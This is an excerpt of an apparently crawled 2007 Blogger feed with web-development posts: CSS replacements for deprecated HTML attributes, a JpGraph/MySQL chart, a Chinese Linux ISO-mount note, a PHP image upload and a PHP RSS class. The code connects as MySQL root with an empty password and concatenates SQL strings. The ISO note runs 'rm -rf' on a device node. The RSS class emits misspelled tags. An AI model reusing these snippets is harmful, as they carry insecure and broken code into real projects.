/&gt;&lt;br /&gt;At the time of writing though, this is the only solution to this particular problem so the left column will have to be expressed in px if you want it to have a different background colour to the rest of the page.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-1559636661228398826?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/1559636661228398826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=1559636661228398826' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/1559636661228398826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/1559636661228398826'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/12/10-trick-in-css-design.html' title='10 Trick in CSS design'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-508210677647629529</id><published>2007-11-20T07:59:00.000+11:00</published><updated>2008-01-17T10:45:54.495+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><title type='text'>Transfer Deprecated HTML Attributes to CSS</title><content type='html'>type&lt;br /&gt;&lt;br /&gt;The type attribute was used to set the list markers on unordered and ordered lists (#ul&gt; and #ol&gt;) and on individual list items (#li&gt;) for example “a, b, c”, “1, 2, 3″, “i, ii, iii”, etc.&lt;br /&gt;&lt;br /&gt;#ol type="a"&gt;&lt;br /&gt;    #li&gt;First item#/li&gt;&lt;br /&gt;    #li&gt;Second item#/li&gt;&lt;br /&gt;    #li&gt;Third item#/li&gt;&lt;br /&gt;#/ol&gt;&lt;br /&gt;&lt;br /&gt;   1. First item&lt;br /&gt;   2. Second item&lt;br /&gt;   3. Third item&lt;br /&gt;&lt;br /&gt;Deprecated example of “type” in an ordered list element&lt;br /&gt;&lt;br /&gt;To replicate this in CSS you must use list-style-type:&lt;br /&gt;&lt;br /&gt;ol { list-style-type: lower-alpha; }&lt;br /&gt;&lt;br /&gt;This styling can also be used on individual #li&gt; elements to create differing sequence types, if you really wanted to!&lt;br /&gt;&lt;br /&gt;Using the HTML attributes there were only 5 possible types you could use (1, A, a, I and i). By using CSS this increases to a possible 20 values including types such as “hiragana-iroha”, which is a Japanese sequence, and “none” to stop displaying any kind of sequence or bullet. An example of all the types can be seen if you are viewing the page using Firefox - unfortunately IE doesn’t recognise any of the more complex character types and will default to the list’s own style type.&lt;br /&gt;&lt;br /&gt;border&lt;br /&gt;&lt;br /&gt;The border attribute was deprecated only on the #img /&gt; and #object&gt; elements, but this should be used anywhere that you’d like to modify a border - to further the separation of presentation and content.&lt;br /&gt;&lt;br /&gt;The most common place you’ll see this attribute, in current use, is on images that are surrounded by a link:&lt;br /&gt;&lt;br /&gt;#a href="#"&gt;&lt;br /&gt;    #img src="images/cup.gif" width="10"&lt;br /&gt;         height="20" border="0" /&gt;&lt;br /&gt;#/a&gt;&lt;br /&gt;&lt;br /&gt;Deprecated example of “border” in the image element&lt;br /&gt;&lt;br /&gt;Without setting the border to zero, the browser’s default and usually undesirable rendering is to place an blue border around the image, to show that it is clickable (much like it will add a blue underline to a text link).&lt;br /&gt;&lt;br /&gt;You will probably want to remove the border from all images that fall inside a link, using CSS you do this using the “border” declaration:&lt;br /&gt;&lt;br /&gt;a img { border: 0; }&lt;br /&gt;// you could also use border:none;&lt;br /&gt;&lt;br /&gt;The flexibility in using CSS in favour of the deprecated attribute is similar to the hspace/vspace example above. It is now very easy to specify a different border size, colour and style to each different side of the item.&lt;br /&gt;&lt;br /&gt;img {&lt;br /&gt;    border-width: 2px 4px;&lt;br /&gt;    border-style:dotted dashed solid none;&lt;br /&gt;    border-color: red;&lt;br /&gt;}&lt;br /&gt;// width: top and bottom 2px, left and right 4px&lt;br /&gt;// style: top dotted, right dashed,&lt;br /&gt;          bottom solid, left none&lt;br /&gt;// color: all sides red, if present&lt;br /&gt;&lt;br /&gt;size&lt;br /&gt;&lt;br /&gt;Size was in use on the #hr /&gt; (horizontal rule) element to set it’s height in pixels or percentage. Years ago I would always set size to 1 to give a thin solid black line, which would get rid of the default two-tone shading effect - more on the shading of #hr /&gt; later.&lt;br /&gt;&lt;br /&gt;#hr size="1" /&gt;&lt;br /&gt;#hr size="5%" /&gt; &lt;br /&gt;&lt;br /&gt;Before I show how to replicate this using CSS, I should point out that there are continual wranglings about whether or not this whole tag should still be in use. The two sides to the argument are; on the one hand it is a purely presentational element and should be removed in favour of using a border declaration in CSS; and on the other hand it has its semantic place to divide sections of text. I will leave the decision to you - a huge discussion on #hr /&gt;’s semantics took place on the Web Standards Group list last week.&lt;br /&gt;&lt;br /&gt;To replicate in CSS is simple and uses the “height” declaration:&lt;br /&gt;&lt;br /&gt;hr { height:1px; }&lt;br /&gt;hr { height:5%; }&lt;br /&gt;&lt;br /&gt;By moving this to CSS we again open up the possibilities of how a horizontal rule can be styled - adding colour, relative heights and background images (note: the rendering of background images and colour is not consistent across the browsers).&lt;br /&gt;&lt;br /&gt;noshade&lt;br /&gt;&lt;br /&gt;The #hr /&gt; element had another attribute deprecated; noshade was a boolean attribute used to remove the two-tone shading effect and set the line in a solid colour, usually grey.&lt;br /&gt;&lt;br /&gt;#hr noshade /&gt;&lt;br /&gt;&lt;br /&gt;As a small aside, boolean attributes in XHTML are no longer used in their shortened form. For example, the “checked” attribute that is still in use on #input type=”checkbox” /&gt; elements should be written in long-hand:&lt;br /&gt;&lt;br /&gt;#input type="checkbox" checked="checked" /&gt;&lt;br /&gt;&lt;br /&gt;Similarly for “selected” in #option&gt; elements:&lt;br /&gt;&lt;br /&gt;#option selected="selected" &gt;Option 1#/option&gt;&lt;br /&gt;&lt;br /&gt;Removing the shade in CSS isn’t as straight-forward as the attributes we’ve seen so far. In IE you’ll need to use the “color” declaration; and in Mozilla and Opera you need to use both the “border” and “background-color” declarations to get a similar effect to the original attributes. The following should be safe across different browers.&lt;br /&gt;&lt;br /&gt;hr {&lt;br /&gt;   color: gray; // for IE&lt;br /&gt;   background-color: gray; // for Mozilla and Firefox&lt;br /&gt;   border: 0; // for Mozilla and Firefox&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The same styling rules apply as for the “size” attribute above.&lt;br /&gt;&lt;br /&gt;width and height&lt;br /&gt;&lt;br /&gt;The width attribute was deprecated for use on #th&gt;, #td&gt; and #hr /&gt;, and the height attribute on #th&gt; and #td&gt;. I hope it’s obvious that they set the width and height of the element on which they are specified, quoted in pixels or percentage.&lt;br /&gt;&lt;br /&gt;#td width="50%" height="20px"&gt;Umbrella stand#/td&gt;&lt;br /&gt;&lt;br /&gt;Deprecated example of “width” and “height” in a table data element&lt;br /&gt;&lt;br /&gt;In the old days of table-based layouts, width and height would be littered around a page’s code hugely increasing the byte size of the file. Removing them gives you a huge saving in bandwidth and simplifies the code for easier maintenance. In CSS you’d replace these attributes in the following way:&lt;br /&gt;&lt;br /&gt;td {&lt;br /&gt;    width: 50%;&lt;br /&gt;    height: 20px;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;bgcolor&lt;br /&gt;&lt;br /&gt;Bgcolor was an attribute used to set the background colour of the #table&gt; elements and the #body&gt; element. It would be used to set the background colour of the whole page, you can use a named value or hex if necessary:&lt;br /&gt;&lt;br /&gt;#body bgcolor="purple"&gt;&lt;br /&gt;&lt;br /&gt;Or to set individual rows or cells of tables:&lt;br /&gt;&lt;br /&gt;#table&gt;&lt;br /&gt;    #tr bgcolor="pink"&gt;&lt;br /&gt;        #td&gt;The pink row#/td&gt;&lt;br /&gt;        #td&gt;Still the pink row#/td&gt;&lt;br /&gt;    #/tr&gt;&lt;br /&gt;    #tr&gt;&lt;br /&gt;        #td bgcolor="green"&gt;The green cell#/td&gt;&lt;br /&gt;        #td&gt;No colour#/td&gt;&lt;br /&gt;    #/tr&gt;&lt;br /&gt;#/table&gt;&lt;br /&gt;&lt;br /&gt;In CSS the property is “background-color” (to colour individual rows/cells you would need to add a class or id to those rows):&lt;br /&gt;&lt;br /&gt;body { background-color: purple; }&lt;br /&gt;tr.odd { background-color: pink; }&lt;br /&gt;td.highlight { background-color: green; }&lt;br /&gt;&lt;br /&gt;Moving this to CSS gives you so much more control over the way pages and tables look. There are a whole host of background related CSS properties such as “background-image”, “background-position”, “background-attachment” and “background-repeat”; these can be grouped together using the background shorthand:&lt;br /&gt;&lt;br /&gt;background: color | image | repeat | attachment | position ;&lt;br /&gt;&lt;br /&gt;So if you had a flower image that you wanted to appear at the bottom right of all pages on your site you’d use the “background” declaration to set this up in one line;&lt;br /&gt;&lt;br /&gt;body { background: white url(imgs/flower.jpg) no-repeat right bottom; }&lt;br /&gt;&lt;br /&gt;align&lt;br /&gt;&lt;br /&gt;The align attribute was used to specify the horizontal alignment of an element with the surrounding content. Now it should not be used on any element but you still see it used mainly on the #img /&gt;, #hx&gt; and #p&gt; elements:&lt;br /&gt;&lt;br /&gt;#h1 align="center"&gt;Centred heading#/h1&gt;&lt;br /&gt;#p align="justified"&gt;Bit of text that should be justified.#/p&gt;&lt;br /&gt;&lt;br /&gt;Deprecated example of “align” in the h1 and p elements&lt;br /&gt;&lt;br /&gt;The equivalent CSS property is text-align and has the same values as the align attribute; left, right, center and justified.&lt;br /&gt;&lt;br /&gt;h1 { text-align: center; }&lt;br /&gt;p { text-align: justified; }&lt;br /&gt;&lt;br /&gt;The thing to remember with this property is that it can align any element and not just text, as it seems to imply.&lt;br /&gt;&lt;br /&gt;For reference; CSS2 introduced another value for text-align, which is “#string&gt;” and for use in tables only. It aligns the text to whatever string value you enter, for example td { text-align: "."; } could be used to align a column of numerical data on the decimal point. It was withdrawn from CSS2.1 due to lack of implentation among the browsers.&lt;br /&gt;End&lt;br /&gt;&lt;br /&gt;The main thing to remember is that it is always better to remove all presentational attributes from your (X)HTML code and use CSS to do the same job. There’s a CSS declaration for any HTML attribute, so remove them all for best results.&lt;br /&gt;Additional Resources&lt;br /&gt;&lt;br /&gt;W3 Schools: this is the site I started learning from&lt;br /&gt;HTML Dog: excellent resource, written by a pro&lt;br /&gt;CSS Zen Garden/: the original CSS playground, great for inspiration and pushing the limits of what CSS can do for you&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-508210677647629529?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/508210677647629529/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=508210677647629529' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/508210677647629529'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/508210677647629529'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/11/type-type-attribute-was-used-to-set.html' title='Transfer Deprecated HTML Attributes to CSS'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-815061912923775929</id><published>2007-11-18T22:25:00.000+11:00</published><updated>2007-11-18T22:31:07.029+11:00</updated><title type='text'>Dynamic Chart Drawn by JpGraph</title><content type='html'>Load data from database to JpGraph &lt;br /&gt;&lt;br /&gt;1、&lt;br /&gt;copy &lt;br /&gt;example16.2.php  from ./src/Examples &lt;br /&gt;and &lt;br /&gt;jpgraph_bar.php、 jpgraph_gradient.php、jpgraph_line.php、jpgraph_plotmark.inc、jpgraph.php  from ./src &lt;br /&gt;to current folder&lt;br /&gt;&lt;br /&gt;2、create database name: jpg，Table: test&lt;br /&gt;two fields：&lt;br /&gt;   id（Key）：int&lt;br /&gt;   number：int&lt;br /&gt;add some data&lt;br /&gt;&lt;br /&gt;3、Modify example16.2.php&lt;br /&gt;&lt;br /&gt;#?php&lt;br /&gt;include  ("jpgraph.php");&lt;br /&gt;include  ("jpgraph_line.php");&lt;br /&gt;include  ("jpgraph_bar.php");&lt;br /&gt;&lt;br /&gt;$connect=mysql_connect("localhost","root","");&lt;br /&gt;mysql_select_db("jpg",$connect);&lt;br /&gt;$query=mysql_query("select  *  from  test",$connect);&lt;br /&gt;$i=0;&lt;br /&gt;while  ($array=mysql_fetch_array($query))  {&lt;br /&gt;$l2datay[$i]=$array["number"];&lt;br /&gt;$i++;&lt;br /&gt;}&lt;br /&gt;mysql_close($connect);&lt;br /&gt;&lt;br /&gt;// Create  the  graph.  &lt;br /&gt;$graph  =  new  Graph(400,200,"auto");  &lt;br /&gt;$graph-&gt;SetScale("textlin");&lt;br /&gt;&lt;br /&gt;$graph-&gt;img-&gt;SetMargin(40,130,20,40);&lt;br /&gt;$graph-&gt;SetShadow();&lt;br /&gt;&lt;br /&gt;// Create  the  bar  plot&lt;br /&gt;$bplot  =  new  BarPlot($l2datay);&lt;br /&gt;$bplot-&gt;SetFillColor("orange");&lt;br /&gt;$bplot-&gt;SetLegend("Result");&lt;br /&gt;&lt;br /&gt;//  Add  the  plots  to  t'he  graph&lt;br /&gt;&lt;br /&gt;$graph-&gt;Add($bplot);&lt;br /&gt;&lt;br /&gt;$graph-&gt;title-&gt;Set("Adding  a  line  plot  to  a  bar  graph  v1");&lt;br /&gt;$graph-&gt;xaxis-&gt;title-&gt;Set("X-title");&lt;br /&gt;$graph-&gt;yaxis-&gt;title-&gt;Set("Y-title");&lt;br /&gt;&lt;br /&gt;$graph-&gt;title-&gt;SetFont(FF_FONT1,FS_BOLD);&lt;br /&gt;$graph-&gt;yaxis-&gt;title-&gt;SetFont(FF_FONT1,FS_BOLD);&lt;br /&gt;$graph-&gt;xaxis-&gt;title-&gt;SetFont(FF_FONT1,FS_BOLD);&lt;br /&gt;&lt;br /&gt;//$graph-&gt;xaxis-&gt;SetTickLabels($datax);&lt;br /&gt;//$graph-&gt;xaxis-&gt;SetTextTickInterval(2);&lt;br /&gt;&lt;br /&gt;//  Display  the  graph&lt;br /&gt;$graph-&gt;Stroke();&lt;br /&gt;?&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-815061912923775929?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/815061912923775929/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=815061912923775929' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/815061912923775929'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/815061912923775929'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/11/dynamic-chart-drawn-by-jpgraph.html' title='Dynamic Chart Drawn by JpGraph'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-5187135607269875919</id><published>2007-11-16T22:09:00.000+11:00</published><updated>2007-11-16T22:10:21.990+11:00</updated><title type='text'>mount ISO in Linux</title><content type='html'>在＃提示符下执行命令&lt;br /&gt;cp /dev/cdrom XXXXX.iso&lt;br /&gt;XXXXX.iso即为需要命名的ISO文件名&lt;br /&gt;执行之后，光盘上所有文件就被映射成XXXXX.iso&lt;br /&gt;至于如何加载请看下面，&lt;br /&gt;还是在＃提示符下执行命令&lt;br /&gt;rm -rf /dev/cdrom&lt;br /&gt;ln -s /dev/loop7 /dev/cdrom&lt;br /&gt;losetup /dev/loop7 /PATH（iso文件路径）&lt;br /&gt;mount /mnt/cdrom&lt;br /&gt;如果需要换盘&lt;br /&gt;losetup -d /dev/loop7&lt;br /&gt;再重复&lt;br /&gt;losetup /dev/loop7 /PATH（iso文件路径）&lt;br /&gt;mount /mnt/cdrom&lt;br /&gt;如果是普通含有iso的光盘&lt;br /&gt;可以直接使用命令&lt;br /&gt;mount -t iso9660 -o loop /../*.iso /path&lt;br /&gt;/.../*.iso 是iso文件路径&lt;br /&gt;/path 是挂载点&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-5187135607269875919?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/5187135607269875919/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=5187135607269875919' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/5187135607269875919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/5187135607269875919'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/11/mount-iso-in-linux.html' title='mount ISO in Linux'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-5981970594142540173</id><published>2007-10-23T23:32:00.000+10:00</published><updated>2008-01-19T20:26:38.208+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>Upload Image</title><content type='html'>&lt;pre&gt;&lt;br /&gt;&amp;lt;?&lt;br /&gt;if(isset($_POST['submit'])) { //see if submit button is pressed.&lt;br /&gt;&lt;br /&gt;//check if they decided to upload a pic:&lt;br /&gt;if($_FILES['userfile']['size'] &amp;gt; 1) { &lt;br /&gt;&lt;br /&gt;$max_size = 100000;&lt;br /&gt;$max_height = 300;&lt;br /&gt;$max_width = 300;&lt;br /&gt;&lt;br /&gt;$info = getimagesize($_FILES['userfile']['tmp_name']);&lt;br /&gt;&lt;br /&gt;//check file-size (in bytes): &lt;br /&gt;if(($_FILES['userfile']['size'] &amp;gt; $_POST['MAX_FILE_SIZE']) || &lt;br /&gt;($_FILES['userfile']['size'] &amp;gt; $max_size)) {&lt;br /&gt;    die("&amp;lt;BR&amp;gt;&amp;lt;BR&amp;gt;Error: Upload file size too large: (&amp;lt;b&amp;gt;" .&lt;br /&gt; $_FILES['userfile']['size'] . "&amp;lt;/b&amp;gt;). Must not exceed XX kb.");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//check the extension.&lt;br /&gt;     $array = explode(".", $_FILES['userfile']['name']); &lt;br /&gt;     $nr    = count($array); &lt;br /&gt;     $ext  = $array[$nr-1];&lt;br /&gt;     if(($ext !="jpg") &amp;&amp; ($ext !="jpeg") &amp;&amp; ($ext !="png")) &lt;br /&gt;     die("&amp;lt;BR&amp;gt;&amp;lt;BR&amp;gt;Error: file extension un-recognized. &lt;br /&gt;         Be sure your image follows the correct extension (.JPG or .PNG)");&lt;br /&gt;&lt;br /&gt;//CHECK TYPE: (what the browser sent)&lt;br /&gt;if(($_FILES['userfile']['type'] != "image/jpeg") &amp;&amp; ($_FILES['userfile']['type'] != &lt;br /&gt;"image/pjpeg") &amp;&amp; ($_FILES['userfile']['type'] != "image/png")) {&lt;br /&gt; die("&amp;lt;BR&amp;gt;&amp;lt;BR&amp;gt;Error: Upload file type un-recognized. Only .JPG or .PNG &lt;br /&gt;     images allowed.");&lt;br /&gt;}&lt;br /&gt; &lt;br /&gt;//DOUBLE CHECK TYPE: if image MIME type from GD getimagesize() &lt;br /&gt;//-In case it was a FAKE!       &lt;br /&gt;if(($info['mime'] != "image/jpeg") &amp;&amp; ($info['mime'] != "image/pjpeg") &amp;&amp; &lt;br /&gt;($info['mime'] != "image/png")) {&lt;br /&gt; die("&amp;lt;BR&amp;gt;&amp;lt;BR&amp;gt;Error: Upload file type un-recognized. Only .JPG or .PNG&lt;br /&gt;      images allowed.");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//check file size (length &amp; width)&lt;br /&gt;if(($info[0] &amp;gt; $max_width) || ($info[1] &amp;gt;$max_height)) {&lt;br /&gt;    die("&amp;lt;BR&amp;gt;&amp;lt;BR&amp;gt;Error: Image size error (&amp;lt;b&amp;gt;" . $info[0] . &lt;br /&gt;        "&amp;lt;/b&amp;gt; x &amp;lt;b&amp;gt;" . $info[1] . "&amp;lt;/b&amp;gt;). Must not exceed ". $max_height . &lt;br /&gt;        " x ". $max_width .".");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//rename file, move it to location.&lt;br /&gt;if(is_uploaded_file($_FILES['userfile']['tmp_name'])) {&lt;br /&gt;&lt;br /&gt;//get max number of images the user has uploaded &lt;br /&gt;$m = mysql_query("SELECT max(user_images) as `total_images` &lt;br /&gt;             FROM `images` WHERE `user_id` = '".$_SESSION['user_id']."'");&lt;br /&gt;     if(!$m) die('An Error Occurred.');&lt;br /&gt;       $result = mysql_fetch_object($m);&lt;br /&gt;          if($result-&amp;gt;total_images &amp;lt;= 0) {&lt;br /&gt;                $image_number = 1;&lt;br /&gt;          } else {&lt;br /&gt;         $image_number = $result-&amp;gt;total_images + 1;&lt;br /&gt;          } //end if&lt;br /&gt;&lt;br /&gt;$filename = strtolower($_SESSION['username']) . $image_number;&lt;br /&gt;&lt;br /&gt;  if(move_uploaded_file($_FILES['userfile']['tmp_name'] ,&lt;br /&gt;     $_SERVER['DOCUMENT_ROOT']."/path/to/image/".$filename . '.' . $ext)) {&lt;br /&gt;    echo("File uploaded successfully.");  &lt;br /&gt;   } else {&lt;br /&gt;        echo("An error occurred while uploading.");&lt;br /&gt;   }//end upload&lt;br /&gt;} //end is_uploaded_file&lt;br /&gt;&lt;br /&gt;} else { //display form ?&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;form enctype="multipart/form-data" action="&amp;lt;? $_SERVER['PHP_SELF']; ?&amp;gt;" &lt;br /&gt;method="post" name="uploadImage" /&amp;gt;&lt;br /&gt;&amp;lt;input type="hidden" MAX_UPLOAD_SIZE = "10000" /&amp;gt;&lt;br /&gt;&amp;lt;input type="file" name="userfile" size="35" /&amp;gt;&lt;br /&gt;&amp;lt;input type="submit" name="submit" value="Upload Image"&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;? } //end else ?&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/445553689262032124-5981970594142540173?l=vwng.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vwng.blogspot.com/feeds/5981970594142540173/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=445553689262032124&amp;postID=5981970594142540173' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/5981970594142540173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/445553689262032124/posts/default/5981970594142540173'/><link rel='alternate' type='text/html' href='http://vwng.blogspot.com/2007/10/upload-image.html' title='Upload Image'/><author><name>(Victor) Xi Wang</name><uri>http://www.blogger.com/profile/13754647402159056521</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-445553689262032124.post-8399100036468825550</id><published>2007-09-18T22:00:00.000+10:00</published><updated>2007-09-18T22:55:58.181+10:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php'/><title type='text'>php Script to fetch RSS info</title><content type='html'>/**&lt;br /&gt; *  Class name: RSS&lt;br /&gt; *  Author    : LeadStar Team&lt;br /&gt; *  website   : &lt;a href="http://www.leadstar.com.cn/" target="_blank"&gt;http://www.leadstar.com.cn/&lt;/a&gt; &lt;br /&gt; *  CopyRight : LeadStar Team&lt;br /&gt; */&lt;br /&gt;if (defined('_CLASS_RSS_PHP')) return;&lt;br /&gt;define('_CLASS_RSS_PHP',1);&lt;br /&gt;&lt;br /&gt;class RSS {&lt;br /&gt;   //public&lt;br /&gt;   var $rss_ver = "2.0";&lt;br /&gt;   var $channel_title = '';&lt;br /&gt;   var $channel_link = '';&lt;br /&gt;   var $channel_description = '';&lt;br /&gt;   var $language = 'zh_CN';&lt;br /&gt;   var $copyright = '';&lt;br /&gt;   var $webMaster = '';&lt;br /&gt;   var $pubDate = '';&lt;br /&gt;   var $lastBuildDate = '';&lt;br /&gt;   var $generator = 'RedFox RSS Generator';&lt;br /&gt;&lt;br /&gt;   var $content = '';&lt;br /&gt;   var $items = array();&lt;br /&gt;&lt;br /&gt;   /**************************************************************************/&lt;br /&gt;   // function name: RSS&lt;br /&gt;   // function description: construct&lt;br /&gt;   // parameter: $title&lt;br /&gt;   // $link&lt;br /&gt;   // $description&lt;br /&gt;   /**************************************************************************/&lt;br /&gt;   function RSS($title, $link, $description) {&lt;br /&gt;       $this-&gt;channel_title = $title;&lt;br /&gt;       $this-&gt;channel_link = $link;&lt;br /&gt;       $this-&gt;channel_description = $description;&lt;br /&gt;       $this-&gt;pubDate = Date('Y-m-d H:i:s',time());&lt;br /&gt;       $this-&gt;lastBuildDate = Date('Y-m-d H:i:s',time());&lt;br /&gt;   }&lt;br /&gt;   /**************************************************************************/&lt;br /&gt;   // function name: AddItem&lt;br /&gt;   // function description: add a new node&lt;br /&gt;   // parameter: $title&lt;br /&gt;   // $link&lt;br /&gt;   // $description  $pubDate&lt;br /&gt;   /**************************************************************************/&lt;br /&gt;   function AddItem($title, $link, $description ,$pubDate) {&lt;br /&gt;       $this-&gt;items[] = array('title' =&gt; $title ,&lt;br /&gt;                        'link' =&gt; $link,&lt;br /&gt;                        'description' =&gt; $description,&lt;br /&gt;                        'pubDate' =&gt; $pubDate);&lt;br /&gt;   }&lt;br /&gt;   /**************************************************************************/&lt;br /&gt;   // function name: BuildRSS&lt;br /&gt;   // function description: generate rss xml file content&lt;br /&gt;   /**************************************************************************/&lt;br /&gt;   function BuildRSS() {&lt;br /&gt;       $s = " &lt;?xml version=\"1.0\" encoding=\"gb2312\" ?&gt;&lt;br /&gt;       \n&lt;rss version="\"&gt;\n";&lt;br /&gt;       // start channel&lt;br /&gt;       $s .= "&lt;channel&gt;\n";&lt;br /&gt;       $s .= "&lt;tit1e&gt;&lt;![CDATA[{$this-&gt;channel_title}]]&gt;&lt;/tit1e&gt;\n";&lt;br /&gt;       $s .= "&lt;1ink&gt;&lt;![CDATA[{$this-&gt;channel_link}]]&gt;&lt;/1ink&gt;\n";&lt;br /&gt;       $s .= "&lt;description&gt;&lt;![CDATA[{$this-&gt;channel_description}]]&gt;&lt;/description&gt;\n";&lt;br /&gt;       $s .= "&lt;language&gt;{$this-&gt;language}&lt;/language&gt;\n";&lt;br /&gt;       if (!empty($this-&gt;copyright)) {&lt;br /&gt;          $s .= "&lt;copyright&gt;&lt;![CDATA[{$this-&gt;copyright}]]&gt;&lt;/copyright&gt;\n";&lt;br /&gt;       }&lt;br /&gt;       if (!empty($this-&gt;webMaster)) {&lt;br /&gt;          $s .= "&lt;webmaster&gt;&lt;![CDATA[{$this-&gt;webMaster}]]&gt;&lt;/webmaster&gt;\n";&lt;br /&gt;       }&lt;br /&gt;       if (!empty($this-&gt;pubDate)) {&lt;br /&gt;          $s .= "&lt;pubdate&gt;{$this-&gt;pubDate}&lt;/pubdate&gt;\n";&lt;br /&gt;       }&lt;br /&gt;&lt;br /&gt;       if (!empty($this-&gt;lastBuildDate)) {&lt;br /&gt;          $s .= "&lt;lastbuilddate&gt;{$this-&gt;lastBuildDate}&lt;/lastbuilddate&gt;\n";&lt;br /&gt;       }&lt;br /&gt;&lt;br /&gt;       if (!empty($this-&gt;generator)) {&lt;br /&gt;          $s .= "&lt;generator&gt;{$this-&gt;generator}&lt;/generator&gt;\n";&lt;br /&gt;       }&lt;br /&gt;      &lt;br /&gt;       // start items&lt;br /&gt;       for ($i=0;$i&lt;count($this-&gt;items);$i++) {&lt;br /&gt;           $s .= "&lt;item&gt;\n";&lt;br /&gt;           $s .= "&lt;tit1e&gt;&lt;![CDATA[{$this-&gt;items[$i]['title']}]]&gt;&lt;/tit1e&gt;\n";&lt;br /&gt;           $s .= "&lt;1ink&gt;&lt;![CDATA[{$this-&gt;items[$i]['link']}]]&gt;&lt;/1ink&gt;\n";&lt;br /&gt;           $s .= "&lt;description&gt;&lt;![CDATA[{$this-&gt;items[$i]['description']}]]&gt;&lt;/description&gt;\n";&lt;br /&gt;           $s .= "&lt;pubdate&gt;{$this-&gt;items[$i]['pubDate']}&lt;/pubdate&gt;\n";          &lt;br /&gt;           $s .= "&lt;/item&gt;\n";&lt;br /&gt;       }&lt;br /&gt;     &lt;br /&gt;      // close channel&lt;br /&gt;      $s .= "&lt;/channel&gt;\n&lt;/rss&gt;";&lt;br /&gt;      $this-&gt;content = $s;&lt;br /&gt;  